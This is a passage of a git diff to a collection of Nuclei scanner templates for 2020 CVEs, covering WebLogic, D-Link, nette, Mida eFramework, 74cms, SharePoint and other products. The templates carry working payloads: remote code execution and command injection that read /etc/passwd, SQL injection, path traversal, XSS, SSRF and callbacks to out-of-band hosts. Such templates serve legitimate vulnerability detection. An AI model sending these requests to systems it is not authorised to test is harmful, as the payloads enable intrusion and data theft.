https://testbnull.medium.com/weblogic-rce-by-only-one-get-request-cve-2020-14882-analysis-6e4b09981dbf + - https://www.oracle.com/security-alerts/cpuoct2020.html + - https://twitter.com/jas502n/status/1321416053050667009 + - https://youtu.be/JFVDOIL0YtA + - https://github.com/jas502n/CVE-2020-14882#eg + - https://nvd.nist.gov/vuln/detail/CVE-2020-14882 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-14882 + epss-score: 0.97402 + epss-percentile: 0.99907 + cpe: cpe:2.3:a:oracle:weblogic_server:10.3.6.0.0:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: oracle + product: weblogic_server + tags: cve,cve2020,oracle,rce,weblogic,oast,kev + +http: + - method: GET + path: + - "{{BaseURL}}/console/images/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext('http://{{interactsh-url}}')" + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "ADMINCONSOLESESSION" + + - type: word + part: interactsh_protocol + words: + - "http" +# digest: 4a0a0047304502204cf7f23d1f286d27b2baa39b807a5ebc4d3ac2cc58f7e9615bdf52b0e7874fd6022100f1e9c6951b81ca34db0919b3bd819fa078174adf742c5542d46045942d82583c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2020-15129.yaml b/poc/cve/cve-2020-15129.yaml new file mode 100644 index 0000000000..e02540a917 --- /dev/null +++ b/poc/cve/cve-2020-15129.yaml @@ -0,0 +1,48 @@ +id: CVE-2020-15129 + +info: + name: Traefik - Open Redirect + author: dwisiswant0 + severity: medium + description: Traefik before 1.7.26, 2.2.8, and 2.3.0-rc3 contains an open redirect vulnerability in the X-Forwarded-Prefix header. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. + remediation: | + Apply the vendor-provided patch or upgrade to a non-vulnerable version of Traefik. + reference: + - https://securitylab.github.com/advisories/GHSL-2020-140-Containous-Traefik + - https://github.com/containous/traefik/releases/tag/v2.2.8 + - https://github.com/containous/traefik/pull/7109 + - https://github.com/containous/traefik/security/advisories/GHSA-6qq8-5wq3-86rp + - https://nvd.nist.gov/vuln/detail/CVE-2020-15129 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 4.7 + cve-id: CVE-2020-15129 + cwe-id: CWE-601 + epss-score: 0.00701 + epss-percentile: 0.78053 + cpe: cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: traefik + product: traefik + tags: cve,cve2020,traefik,redirect + +http: + - method: GET + path: + - "{{BaseURL}}" + + headers: + X-Forwarded-Prefix: "https://foo.nl" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "Found" + + - type: status + status: + - 302 +# digest: 4a0a00473045022100af7b737d88d94e6a442c21489ef21e50afb8770684f149ecd226a7263b54931f02205bdcd3fee860ed7f41ea0d6826a60d7fe78eac375f67304994eb1b8708cd9acd:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2020-15227.yaml b/poc/cve/cve-2020-15227.yaml new file mode 100644 index 0000000000..2adba03624 --- /dev/null +++ b/poc/cve/cve-2020-15227.yaml @@ -0,0 +1,28 @@ +id: CVE-2020-15227 + +info: + name: nette Framework RCE + author: hackergautam + severity: high + reference: unknown + tags: cve,cve2020,nette,rce + +requests: + - method: GET + path: + - "{{BaseURL}}/index.php/nette.micro/?callback=shell_exec&cmd=id&what=-1" + + matchers-condition: and + matchers: + + - type: word + words: + - "uid" + - "gid" + part: body + condition: and + + - type: status + status: + - 200 + diff --git a/poc/cve/cve-2020-15920.yaml b/poc/cve/cve-2020-15920.yaml deleted file mode 100644 index 9c574c5443..0000000000 --- a/poc/cve/cve-2020-15920.yaml +++ /dev/null @@ -1,45 +0,0 @@ -id: CVE-2020-15920 - -info: - name: Mida eFramework <=2.9.0 - Remote Command Execution - author: dwisiswant0 - severity: critical - description: Mida eFramework through 2.9.0 allows an attacker to achieve remote code execution with administrative (root) privileges. No authentication is required. - remediation: | - Upgrade Mida eFramework to a version higher than 2.9.0 to mitigate the vulnerability. - reference: - - https://elbae.github.io/jekyll/update/2020/07/14/vulns-01.html - - http://packetstormsecurity.com/files/158991/Mida-eFramework-2.9.0-Remote-Code-Execution.html - - http://packetstormsecurity.com/files/159194/Mida-Solutions-eFramework-ajaxreq.php-Command-Injection.html - - https://nvd.nist.gov/vuln/detail/CVE-2020-15920 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-15920 - cwe-id: CWE-78 - epss-score: 0.97215 - epss-percentile: 0.99787 - cpe: cpe:2.3:a:midasolutions:eframework:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: midasolutions - product: eframework - tags: cve,cve2020,mida,rce,packetstorm - -http: - - method: POST - path: - - "{{BaseURL}}/PDC/ajaxreq.php?PARAM=127.0.0.1+-c+0%3B+cat+%2Fetc%2Fpasswd&DIAGNOSIS=PING" - - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 - -# digest: 4b0a00483046022100fefa3b865dee9c2cbf50a5b86b9f69ef7c31a97b3a4d77ca1b65253a41e1a4640221009cb686bd2952f72cfa1ea857cfdbc1df238f4f36c045cda2e8997fa9c96716af:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/cve-2020-16139.yaml b/poc/cve/cve-2020-16139.yaml new file mode 100644 index 0000000000..686cb76dd2 --- /dev/null +++ b/poc/cve/cve-2020-16139.yaml @@ -0,0 +1,48 @@ +id: CVE-2020-16139 + +info: + name: Cisco Unified IP Conference Station 7937G - Denial-of-Service + author: pikpikcu + severity: high + description: | + Cisco Unified IP Conference Station 7937G 1-4-4-0 through 1-4-5-7 allows attackers to restart the device remotely via specially crafted packets that can cause a denial-of-service condition. Note: We cannot prove this vulnerability exists. Out of an abundance of caution, this CVE is being assigned to better serve our customers and ensure all who are still running this product understand that the product is end of life and should be removed or upgraded. + remediation: | + Apply the latest firmware update provided by Cisco to mitigate this vulnerability. + reference: + - http://packetstormsecurity.com/files/158819/Cisco-7937G-Denial-Of-Service.html + - https://www.cisco.com/c/en/us/products/collateral/collaboration-endpoints/unified-ip-phone-7940g/end_of_life_notice_c51-729487.html + - https://nvd.nist.gov/vuln/detail/CVE-2020-16139 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H + cvss-score: 7.5 + cve-id: CVE-2020-16139 + epss-score: 0.02134 + epss-percentile: 0.88036 + cpe: cpe:2.3:o:cisco:unified_ip_conference_station_7937g_firmware:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: cisco + product: unified_ip_conference_station_7937g_firmware + tags: cve,cve2020,dos,cisco,packetstorm + +http: + - raw: + - | + POST /localmenus.cgi?func=609&rphl=1&data=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "application/xml" + + - type: word + words: + - 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + + - type: status + status: + - 200 +# digest: 490a00463044022019b18d2a4997c32260840955b5c6efde4f1813112500b2e98d926321bb8fc49002200355e2ade5decb594066f648a2c42892ffc5676bba6a6bb9372598497572acf0:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2020-16920-4647.yaml b/poc/cve/cve-2020-16920-4647.yaml new file mode 100644 index 0000000000..f950571c5f --- /dev/null +++ b/poc/cve/cve-2020-16920-4647.yaml @@ -0,0 +1,57 @@ +id: CVE-2019-16920 +info: + name: Unauthenticated Multiple D-Link Routers RCE + author: dwisiswant0 + severity: critical + description: Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825. + # References: +# - https://github.com/pwnhacker0x18/CVE-2019-16920-MassPwn3r + +requests: + - raw: + - | + POST /apply_sec.cgi HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Content-Type: application/x-www-form-urlencoded + Connection: close + Referer: http://{{Hostname}}/ + Upgrade-Insecure-Requests: 1 + html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=62384 + - | + POST /apply_sec.cgi HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 + Content-Type: application/x-www-form-urlencoded + Connection: close + Referer: http://{{Hostname}}/login_pic.asp + Cookie: uid=1234123 + Upgrade-Insecure-Requests: 1 + html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('cat /etc/passwd')}} + - | + POST /apply_sec.cgi HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 + Content-Type: application/x-www-form-urlencoded + Connection: close + Referer: http://{{Hostname}}/login_pic.asp + Cookie: uid=1234123 + Upgrade-Insecure-Requests: 1 + html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('type C:\\Windows\\win.ini')}} + matchers-condition: and + matchers: + - type: regex + regex: + - "root:[x*]:0:0:" + - "\\[(font|extension|file)s\\]" + condition: or + part: body + - type: status + status: + - 200 diff --git a/poc/cve/cve-2020-16952.yaml b/poc/cve/cve-2020-16952.yaml new file mode 100644 index 0000000000..2edf389783 --- /dev/null +++ b/poc/cve/cve-2020-16952.yaml @@ -0,0 +1,55 @@ +id: CVE-2020-16952 + +info: + name: Microsoft SharePoint - Remote Code Execution + author: dwisiswant0 + severity: high + description: Microsoft SharePoint is vulnerable to a remote code execution when the software fails to check the source markup of an application package. + remediation: | + Apply the latest security updates provided by Microsoft to address this vulnerability. + reference: + - https://srcincite.io/pocs/cve-2020-16952.py.txt + - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952 + - https://github.com/rapid7/metasploit-framework/blob/1a341ae93191ac5f6d8a9603aebb6b3a1f65f107/documentation/modules/exploit/windows/http/sharepoint_ssi_viewstate.md + - https://nvd.nist.gov/vuln/detail/CVE-2020-16952 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2020-16952 + cwe-id: CWE-346 + epss-score: 0.46024 + epss-percentile: 0.97068 + cpe: cpe:2.3:a:microsoft:sharepoint_enterprise_server:2016:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: microsoft + product: sharepoint_enterprise_server + tags: msf,cve,cve2020,sharepoint,iis,microsoft,ssi,rce + +http: + - method: GET + path: + - "{{BaseURL}}" + + matchers-condition: and + matchers: + - type: regex + part: body + regex: + - "15\\.0\\.0\\.(4571|5275|4351|5056)" + - "16\\.0\\.0\\.(10337|10364|10366)" + # - "16.0.10364.20001" + condition: or + + - type: regex + part: header + regex: + - "(?i)(Microsoftsharepointteamservices:)" + + - type: status + status: + - 200 + - 201 + condition: or + +# digest: 490a00463044022017ba9e589c740c802be68f3265e1c35af123ded29966d85800ce3965fd7cfae802206e8714badb33bf4706250b3f55d0a875ecf5a59f64b46f0936b56f9293e97478:922c64590222798bb761d5b6d8e72950 diff --git a/poc/cve/cve-2020-1943-4720.yaml b/poc/cve/cve-2020-1943-4720.yaml new file mode 100644 index 0000000000..a8c10150b1 --- /dev/null +++ b/poc/cve/cve-2020-1943-4720.yaml @@ -0,0 +1,39 @@ +id: CVE-2020-1943 + +info: + name: Apache OFBiz Reflected XSS + author: pdteam + severity: medium + description: Data sent with contentId to /control/stream is not sanitized, allowing XSS attacks in Apache OFBiz 16.11.01 to 16.11.07. + reference: + - https://lists.apache.org/thread.html/rf867d9a25fa656b279b16e27b8ff6fcda689cfa4275a26655c685702%40%3Cdev.ofbiz.apache.org%3E + - https://s.apache.org/pr5u8 + - https://lists.apache.org/thread.html/r034123f2767830169fd04c922afb22d2389de6e2faf3a083207202bc@%3Ccommits.ofbiz.apache.org%3E + - https://lists.apache.org/thread.html/r8efd5b62604d849ae2f93b2eb9ce0ce0356a4cf5812deed14030a757@%3Cdev.ofbiz.apache.org%3E + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2020-1943 + cwe-id: CWE-79 + tags: cve,cve2020,apache,xss,ofbiz + +requests: + - method: GET + path: + - '{{BaseURL}}/control/stream?contentId=%27\%22%3E%3Csvg/onload=alert(/xss/)%3E' + + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + + - type: word + words: + - "text/html" + part: header + + - type: status + status: + - 200 diff --git a/poc/cve/cve-2020-20988(1).yaml b/poc/cve/cve-2020-20988(1).yaml deleted file mode 100644 index 3068593902..0000000000 --- a/poc/cve/cve-2020-20988(1).yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2020-20988 -info: - name: DomainMOD 4.13.0 - Cross-Site Scripting - author: arafatansari - severity: medium - description: | - DomainMOD 4.13.0 is vulnerable to Cross Site Scripting (XSS) via reporting/domains/cost-by-owner.php in "or Expiring Between" parameter. - reference: - - https://mycvee.blogspot.com/p/xss2.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - cvss-score: 5.4 - cve-id: CVE-2020-20988 - cwe-id: CWE-79 - metadata: - verified: "true" - tags: cve,cve2020,domainmod,xss,authenticated -requests: - - raw: - - | - POST / HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - new_username={{username}}&new_password={{password}} - - | - POST /reporting/domains/cost-by-owner.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - daterange=%22%2F%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E - cookie-reuse: true - req-condition: true - redirects: true - max-redirects: 2 - matchers: - - type: dsl - dsl: - - 'status_code_2 == 200' - - 'contains(all_headers_2, "text/html")' - - 'contains(body_2, "value=\"\"/>")' - - 'contains(body_2, "DomainMOD")' - condition: and diff --git a/poc/cve/cve-2020-22208(1).yaml b/poc/cve/cve-2020-22208(1).yaml new file mode 100644 index 0000000000..f447227d0e --- /dev/null +++ b/poc/cve/cve-2020-22208(1).yaml @@ -0,0 +1,32 @@ +id: CVE-2020-22208 +info: + name: 74cms - ajax_street.php 'x' SQL Injection + author: ritikchaddha + severity: critical + description: | + SQL Injection in 74cms 3.2.0 via the x parameter to plus/ajax_street.php. + reference: + - https://github.com/blindkey/cve_like/issues/10 + - https://nvd.nist.gov/vuln/detail/CVE-2020-22208 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2020-22210 + cwe-id: CWE-89 + metadata: + fofa-query: app="74cms" + shodan-query: http.html:"74cms" + tags: cve,cve2020,74cms,sqli +variables: + num: "999999999" +requests: + - method: GET + path: + - '{{BaseURL}}/plus/ajax_street.php?act=alphabet&x=11�%27%20union%20select%201,2,3,concat(0x3C2F613E20),5,6,7,md5({{num}}),9%20from%20qs_admin#' + matchers: + - type: word + part: body + words: + - '{{md5({{num}})}}' + +# Enhanced by cs on 2022/06/21 diff --git a/poc/cve/cve-2020-22210.yaml b/poc/cve/cve-2020-22210(1).yaml similarity index 100% rename from poc/cve/cve-2020-22210.yaml rename to poc/cve/cve-2020-22210(1).yaml diff --git a/poc/cve/cve-2020-22840.yaml b/poc/cve/cve-2020-22840.yaml deleted file mode 100644 index 426073fa00..0000000000 --- a/poc/cve/cve-2020-22840.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2020-22840 - -info: - name: b2evolution CMS <6.11.6 - Open Redirect - author: geeknik - severity: medium - description: b2evolution CMS before 6.11.6 contains an open redirect vulnerability via the redirect_to parameter in email_passthrough.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. - remediation: | - Upgrade b2evolution CMS to version 6.11.6 or later to mitigate the open redirect vulnerability (CVE-2020-22840). - reference: - - https://github.com/b2evolution/b2evolution/issues/102 - - http://packetstormsecurity.com/files/161362/b2evolution-CMS-6.11.6-Open-Redirection.html - - https://www.exploit-db.com/exploits/49554 - - https://nvd.nist.gov/vuln/detail/CVE-2020-22840 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2020-22840 - cwe-id: CWE-601 - epss-score: 0.01161 - epss-percentile: 0.83284 - cpe: cpe:2.3:a:b2evolution:b2evolution:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: b2evolution - product: b2evolution - tags: packetstorm,edb,cve,cve2020,redirect,b2evolution - -http: - - method: GET - path: - - "{{BaseURL}}/email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Finteract.sh" - - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?interact\.sh(?:\s*?)$' -# digest: 4a0a004730450221008097872f77e083ee9374b18077c62bf872f48da2df1712ced739421a606eaf1702203b58991ca90551263a55bf9c7a4edb0f9b2df893261d22aab66022ba6f78e500:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2020-23517.yaml b/poc/cve/cve-2020-23517.yaml deleted file mode 100644 index dcd9ccba30..0000000000 --- a/poc/cve/cve-2020-23517.yaml +++ /dev/null @@ -1,52 +0,0 @@ -id: CVE-2020-23517 - -info: - name: Aryanic HighMail (High CMS) - Cross-Site Scripting - author: geeknik - severity: medium - description: A cross-site scripting vulnerability in Aryanic HighMail (High CMS) versions 2020 and before allows remote attackers to inject arbitrary web script or HTML, via 'user' to LoginForm. - remediation: | - To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts. - reference: - - https://vulnerabilitypublishing.blogspot.com/2021/03/aryanic-highmail-high-cms-reflected.html - - https://nvd.nist.gov/vuln/detail/CVE-2020-23517 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2020-23517 - cwe-id: CWE-79 - epss-score: 0.00124 - epss-percentile: 0.46591 - cpe: cpe:2.3:a:aryanic:high_cms:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 2 - vendor: aryanic - product: high_cms - shodan-query: title:"HighMail" - fofa-query: title="HighMail" - tags: cve,cve2020,xss,cms,highmail,aryanic - -http: - - method: GET - path: - - "{{BaseURL}}/login/?uid=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E" - - "{{BaseURL}}/?uid=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E" - - stop-at-first-match: true - - matchers-condition: and - matchers: - - type: word - words: - - 'value="">' - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 -# digest: 4a0a0047304502203743395da27171ffeae80a8c625973236e1b3162df2c65101a4afbe4b6b427b7022100ac26b1d8d1d5c0ba8330a8de6241ae1f82c7fa0ffb0020c8e475369c749ccd7f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2020-24148-4788.yaml b/poc/cve/cve-2020-24148-4788.yaml deleted file mode 100644 index 15da98a978..0000000000 --- a/poc/cve/cve-2020-24148-4788.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2020-24148 - -info: - name: Import XML & RSS Feeds WordPress Plugin <= 2.0.1 Server-Side Request Forgery - author: dwisiswant0 - severity: critical - reference: - - https://github.com/dwisiswant0/CVE-2020-24148 - - https://wordpress.org/plugins/import-xml-feed/#developers - - https://nvd.nist.gov/vuln/detail/CVE-2020-24148 - description: "WordPress plugin Import XML and RSS Feeds (import-xml-feed) plugin 2.0.1 contains a server-side request forgery (SSRF) vulnerability via the data parameter in a moove_read_xml action." - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H - cvss-score: 9.10 - cve-id: CVE-2020-24148 - cwe-id: CWE-918 - tags: cve,cve2020,wordpress,wp-plugin,ssrf - -requests: - - method: POST - path: - - "{{BaseURL}}/wp-admin/admin-ajax.php?action=moove_read_xml" - body: "type=url&data=http%3A%2F%2F{{interactsh-url}}%2F&xmlaction=preview&node=0" - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - -# Enhanced by mp on 2022/03/27 diff --git a/poc/cve/cve-2020-24571-4826.yaml b/poc/cve/cve-2020-24571-4826.yaml new file mode 100644 index 0000000000..7ac3c519d7 --- /dev/null +++ b/poc/cve/cve-2020-24571-4826.yaml @@ -0,0 +1,29 @@ +id: CVE-2020-24571 +info: + name: NexusDB v4.50.22 Path Traversal + author: pikpikcu + severity: high + description: NexusQA NexusDB before 4.50.23 allows the reading of files via ../ directory traversal. + reference: https://www.nexusdb.com/mantis/bug_view_advanced_page.php?bug_id=2371 + tags: cve,cve2020,nexusdb,lfi + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2020-24571 + cwe-id: CWE-22 + +requests: + - method: GET + path: + - '{{BaseURL}}/../../../../../../../../windows/win.ini' + + matchers-condition: and + matchers: + - type: word + words: + - "[extensions]" + part: body + + - type: status + status: + - 200 diff --git a/poc/cve/cve-2020-25864-4896.yaml b/poc/cve/cve-2020-25864-4896.yaml deleted file mode 100644 index c0f536ddbc..0000000000 --- a/poc/cve/cve-2020-25864-4896.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: CVE-2020-25864 - -info: - name: HashiCorp Consul and Consul Enterprise up to version 1.9.4 key-value (KV) raw mode is vulnerable to cross-site scripting - severity: medium - author: c-sh0 - reference: - - https://discuss.hashicorp.com/t/hcsec-2021-07-consul-api-kv-endpoint-vulnerable-to-cross-site-scripting/23368 - - https://nvd.nist.gov/vuln/detail/CVE-2020-25864 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2020-25864 - cwe-id: CWE-79 - tags: cve,cve2020,consul,xss - -requests: - - raw: - - | - PUT {{BaseURL}}/v1/kv/{{randstr}} HTTP/1.1 - Host: {{Hostname}} - - - - - | - GET {{BaseURL}}/v1/kv/{{randstr}}%3Fraw HTTP/1.1 - Host: {{Hostname}} - - req-condition: true - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: header - words: - - "text/html" - - - type: word - part: body_2 - words: - - "" \ No newline at end of file diff --git a/poc/cve/cve-2020-28351-4983.yaml b/poc/cve/cve-2020-28351-4983.yaml deleted file mode 100644 index 02c91466b2..0000000000 --- a/poc/cve/cve-2020-28351-4983.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2020-28351 -info: - name: ShoreTel 19.46.1802.0 XSS - author: pikpikcu - severity: medium - description: conferencing component on Mitel ShoreTel 19.46.1802.0 devices could allow an unauthenticated attacker to conduct a reflected cross-site scripting (XSS) attack (via the PATH_INFO to index.php) due to insufficient validation for the time_zone object in the HOME_MEETING& page - reference: - - https://packetstormsecurity.com/files/159987/ShoreTel-Conferencing-19.46.1802.0-Cross-Site-Scripting.html - - https://nvd.nist.gov/vuln/detail/CVE-2020-28351 - - https://www.mitel.com/articles/what-happened-shoretel-products - - https://github.com/dievus/cve-2020-28351 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2020-28351 - cwe-id: CWE-79 - tags: cve,cve2020,shoretel,xss -requests: - - method: GET - path: - - "{{BaseURL}}/index.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E?page=HOME" - headers: - Content-Type: application/x-www-form-urlencoded - matchers-condition: and - matchers: - - type: word - words: - - '' - part: body - - type: word - words: - - 'Content-Type: text/html' - part: header - - type: status - status: - - 200 diff --git a/poc/cve/cve-2020-28976-4989.yaml b/poc/cve/cve-2020-28976-4989.yaml deleted file mode 100644 index d23e51db96..0000000000 --- a/poc/cve/cve-2020-28976-4989.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2020-28976 - -info: - name: Wordpress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated) - author: LogicalHunter - severity: medium - description: The Canto plugin 1.3.0 for WordPress contains a blind SSRF vulnerability. It allows an unauthenticated attacker to make a request to any internal and external server via /includes/lib/detail.php?subdomain=SSRF. - reference: - - https://www.exploit-db.com/exploits/49189 - - https://nvd.nist.gov/vuln/detail/CVE-2020-28976 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.30 - cve-id: CVE-2020-28976 - cwe-id: CWE-918 - tags: cve,cve2020,ssrf,wordpress,wp-plugin,oast - -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/detail.php?subdomain={{interactsh-url}}" - - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/get.php?subdomain={{interactsh-url}}" - - "{{BaseURL}}/wp-content/plugins/canto/includes/lib/tree.php?subdomain={{interactsh-url}}" - - stop-at-first-match: true - matchers: - - type: word - part: interactsh_protocol - words: - - "http" \ No newline at end of file diff --git a/poc/cve/cve-2020-29227-5000.yaml b/poc/cve/cve-2020-29227-5000.yaml deleted file mode 100644 index 8679600dfb..0000000000 --- a/poc/cve/cve-2020-29227-5000.yaml +++ /dev/null @@ -1,30 +0,0 @@ -id: CVE-2020-29227 -info: - name: Car Rental Management System 1.0 - Local File Inclusion - author: daffainfo - severity: critical - description: Car Rental Management System 1.0 allows an unauthenticated user to perform a file inclusion attack against the /index.php file with a partial filename in the "page" parameter, leading to code execution. - reference: - - https://loopspell.medium.com/cve-2020-29227-unauthenticated-local-file-inclusion-7d3bd2c5c6a5 - - https://nvd.nist.gov/vuln/detail/CVE-2020-29227 - - https://www.sourcecodester.com/php/14544/car-rental-management-system-using-phpmysqli-source-code.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-29227 - tags: cve,cve2020,lfi -requests: - - method: GET - path: - - "{{BaseURL}}/index.php?page=/etc/passwd%00" - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0:" - - type: status - status: - - 200 - -# Enhanced by mp on 2022/05/16 diff --git a/poc/cve/cve-2020-29395.yaml b/poc/cve/cve-2020-29395.yaml new file mode 100644 index 0000000000..dcaa2d6eb8 --- /dev/null +++ b/poc/cve/cve-2020-29395.yaml @@ -0,0 +1,50 @@ +id: CVE-2020-29395 + +info: + name: Wordpress EventON Calendar 3.0.5 - Cross-Site Scripting + author: daffainfo + severity: medium + description: Wordpress EventON Calendar 3.0.5 is vulnerable to cross-site scripting because it allows addons/?q= XSS via the search field. + remediation: | + Update to the latest version of the Wordpress EventON Calendar plugin (3.0.6) to mitigate this vulnerability. + reference: + - https://github.com/mustgundogdu/Research/tree/main/EventON_PLUGIN_XSS + - https://www.myeventon.com/news/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-29395 + - http://packetstormsecurity.com/files/160282/WordPress-EventON-Calendar-3.0.5-Cross-Site-Scripting.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2020-29395 + cwe-id: CWE-79 + epss-score: 0.05489 + epss-percentile: 0.92391 + cpe: cpe:2.3:a:myeventon:eventon:*:*:*:*:*:wordpress:*:* + metadata: + max-request: 1 + vendor: myeventon + product: eventon + framework: wordpress + tags: cve,cve2020,wordpress,xss,wp-plugin,packetstorm + +http: + - method: GET + path: + - '{{BaseURL}}/addons/?q=%3Csvg%2Fonload%3Dalert(1)%3E' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 +# digest: 